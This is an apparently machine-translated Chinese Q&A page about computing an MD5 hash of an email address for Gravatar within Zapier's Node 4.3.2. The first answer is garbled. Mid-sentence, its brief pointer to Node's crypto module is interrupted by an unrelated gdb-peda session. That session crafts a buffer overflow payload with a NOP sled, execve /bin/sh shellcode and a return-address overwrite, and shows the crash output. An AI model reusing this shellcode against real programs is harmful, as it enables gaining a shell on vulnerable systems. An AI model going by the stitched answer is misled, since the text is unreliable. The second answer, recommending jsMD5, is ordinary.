为了使用Gravatar个人资料图片,我想将电子邮件地址转换为MD5哈希(Gravatar要求)。
Zapier允许使用Node 4.3.2。
谁可以提供帮助?
答案 0 :(得分:0)
使用Node 4.3.2标准的#>gdb -q someVulnerableBinary
gdb-peda$ python
>shellcode=(
>"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
>)
>end
gdb-peda$ pset arg '"\x90"*(76-len(shellcode)) + shellcode + "\x08\x04\xb4\x10"[::-1] + "C"*10'
gdb-peda$ r
Starting program: /home/theDude/Downloads/tmp/someVulnerableBinary 'j
XRh//shh/binã1ÉÍ°CCCCCCCCCC'
j
XRh//shh/binã1ÉÍ°CCCCCCCCCC
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x804b410 --> 0x90c290c2
EBX: 0x0
ECX: 0x0
EDX: 0x99
ESI: 0x2
EDI: 0xf7faf000 --> 0x1b2db0
EBP: 0x90c290c2
ESP: 0xffffda00 --> 0x90c290c2
EIP: 0x90c290c2
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x90c290c2
[------------------------------------stack-------------------------------------]
0000| 0xffffda00 --> 0x90c290c2
0004| 0xffffda04 --> 0x90c290c2
0008| 0xffffda08 --> 0x90c290c2
0012| 0xffffda0c --> 0x90c290c2
0016| 0xffffda10 --> 0x90c290c2
0020| 0xffffda14 --> 0x90c290c2
0024| 0xffffda18 --> 0x90c290c2
0028| 0xffffda1c --> 0xb6a90c2
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x90c290c2 in ?? ()
gdb-peda$
gdb-peda$ i r $eax
eax 0x804b410 0x804b410
gdb-peda$ x/20x $eax
0x804b410: 0x90c290c2 0x90c290c2 0x90c290c2 0x90c290c2
0x804b420: 0x90c290c2 0x90c290c2 0x90c290c2 0x90c290c2
0x804b430: 0x90c290c2 0x90c290c2 0x90c290c2 0x90c290c2
0x804b440: 0x90c290c2 0x90c290c2 0x90c290c2 0x90c290c2
0x804b450: 0x90c290c2 0x90c290c2 0x90c290c2 0x90c290c2
gdb-peda$ show charset
The host character set is "auto; currently UTF-8".
The target character set is "auto; currently UTF-8".
The target wide character set is "auto; currently UTF-32".
模块。
crypto
答案 1 :(得分:-1)
您可以使用https://github.com/coolaj86/jsMD5
var md5 = require('./md5')
, na
, str
;
na = md5.digest(<array of numbers>);
// na is an array of numbers
str = md5.digest_s('The quick brown fox jumped over the lazy dog.');
// str === '5c6ffbdd40d9556b73a21e63c3e0e904'